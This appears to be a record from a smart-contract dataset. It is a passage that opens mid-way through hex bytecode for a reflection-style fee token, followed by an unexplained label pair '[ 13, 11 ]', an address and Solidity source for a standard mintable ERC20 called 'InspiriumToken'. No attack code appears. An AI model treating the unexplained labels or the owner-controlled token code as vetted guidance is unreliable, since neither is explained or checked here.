6c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600254905090565b612019612f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146120d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61217b612f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461223b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550804201600281905550600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6123f3612f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146124b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601460156101000a81548160ff02191690831515021790555050565b6124d8612f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612598576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612631576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806150856022913960400191505060405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156126f1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156127c557612781600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611220565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506008819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61288b612f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461294b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156129d1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180614f266026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b612a96612f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612b56576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000479050612b6481613a45565b50565b600047905090565b612b77612f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612c37576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612cf6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b60005b600880549050811015612ef5578173ffffffffffffffffffffffffffffffffffffffff1660088281548110612d2a57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612ee857600860016008805490500381548110612d8657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660088281548110612dbe57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506008805480612eae57fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055612ef5565b8080600101915050612cf9565b5050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612fad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806150616024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613033576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180614f4c6022913960400191505060405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156131a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061503c6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561322a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180614ed96023913960400191505060405180910390fd5b60008111613283576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806150136029913960400191505060405180910390fd5b61328b611b11565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156132f957506132c9611b11565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561335a57601554811115613359576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180614fa26028913960400191505060405180910390fd5b5b6000613365306118a0565b905060155481106133765760155490505b6000601654821015905060148054906101000a900460ff161580156133a75750601460159054906101000a900460ff165b80156133b05750805b801561340857507f000000000000000000000000584f785b0bfa46e8051b9967e30c538761dc5eb073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156134305761341682613763565b6000479050600081111561342e5761342d47613a45565b5b505b600060019050600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806134d75750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156134e157600090505b6134ed86868684613b40565b505050505050565b60008383111582906135a2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561356757808201518184015260208101905061354c565b50505050905090810190601f1680156135945780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008060006135c2613e51565b915091506135d981836135e090919063ffffffff16565b9250505090565b600061362283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506140e2565b905092915050565b6000808284019050838110156136a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008060008060008060008060006136cf8a600f546010546141a8565b92509250925060006136df6135b5565b905060008060006136f18e878661423e565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061375b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506134f5565b905092915050565b60016014806101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561379757600080fd5b506040519080825280602002602001820160405280156137c65781602001602082028036833780820191505090505b50905030816000815181106137d757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561387757600080fd5b505afa15801561388b573d6000803e3d6000fd5b505050506040513d60208110156138a157600080fd5b8101908080519060200190929190505050816001815181106138bf57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613924307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84612f27565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156139e65780820151818401526020810190506139cb565b505050509050019650505050505050600060405180830381600087803b158015613a0f57600080fd5b505af1158015613a23573d6000803e3d6000fd5b505050505060006014806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc613a956002846135e090919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015613ac0573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc613b116002846135e090919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015613b3c573d6000803e3d6000fd5b5050565b80613b4e57613b4d61429c565b5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015613bf15750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613c0657613c018484846142df565b613e3d565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015613ca95750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15613cbe57613cb984848461453f565b613e3c565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015613d625750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613d7757613d7284848461479f565b613e3b565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015613e195750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15613e2e57613e2984848461496a565b613e3a565b613e3984848461479f565b5b5b5b5b80613e4b57613e4a614c5f565b5b50505050565b6000806000600a5490506000600954905060005b6008805490508110156140a557826003600060088481548110613e8457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180613f6b5750816004600060088481548110613f0357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15613f8257600a54600954945094505050506140de565b61400b6003600060088481548110613f9657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461371990919063ffffffff16565b9250614096600460006008848154811061402157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361371990919063ffffffff16565b91508080600101915050613e65565b506140bd600954600a546135e090919063ffffffff16565b8210156140d557600a546009549350935050506140de565b81819350935050505b9091565b6000808311829061418e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015614153578082015181840152602081019050614138565b50505050905090810190601f1680156141805780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161419a57fe5b049050809150509392505050565b6000806000806141d460646141c6888a614c7390919063ffffffff16565b6135e090919063ffffffff16565b905060006141fe60646141f0888b614c7390919063ffffffff16565b6135e090919063ffffffff16565b9050600061422782614219858c61371990919063ffffffff16565b61371990919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806142578588614c7390919063ffffffff16565b9050600061426e8688614c7390919063ffffffff16565b90506000614285828461371990919063ffffffff16565b905082818395509550955050505093509350939050565b6000600f541480156142b057506000601054145b156142ba576142dd565b600f546011819055506010546012819055506000600f8190555060006010819055505b565b6000806000806000806142f1876136b2565b95509550955095509550955061434f87600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461371990919063ffffffff16565b600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506143e486600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461371990919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061447985600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461362a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506144c581614cf9565b6144cf8483614e9e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080614551876136b2565b9550955095509550955095506145af86600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461371990919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061464483600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461362a90919063ffffffff16565b600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506146d985600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461362a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061472581614cf9565b61472f8483614e9e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806147b1876136b2565b95509550955095509550955061480f86600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461371990919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506148a485600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461362a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506148f081614cf9565b6148fa8483614e9e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061497c876136b2565b9550955095509550955095506149da87600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461371990919063ffffffff16565b600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614a6f86600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461371990919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614b0483600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461362a90919063ffffffff16565b600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614b9985600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461362a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614be581614cf9565b614bef8483614e9e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b601154600f81905550601254601081905550565b600080831415614c865760009050614cf3565b6000828402905082848281614c9757fe5b0414614cee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180614fca6021913960400191505060405180910390fd5b809150505b92915050565b6000614d036135b5565b90506000614d1a8284614c7390919063ffffffff16565b9050614d6e81600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461362a90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615614e9957614e5583600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461362a90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b614eb382600a5461371990919063ffffffff16565b600a81905550614ece81600b5461362a90919063ffffffff16565b600b81905550505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573736d61785478416d6f756e742073686f756c642062652067726561746572207468616e2031303030303030303030303030303065395472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737357652063616e206e6f74206578636c75646520556e697377617020726f757465722e4578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6f636b45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122082072e880f4179bb3fad613faa65825ec4408b6180ee1680734e0feaa97f200664736f6c634300060c0033
[ 13, 11 ]
0xf308bcb288fff9a361e56ae5a664bcc8fe0d4137
pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract InspiriumToken is MintableToken { string public name = "INSPIRIUM"; string public symbol = "INSPIRIUM"; uint8 public decimals = 0; }
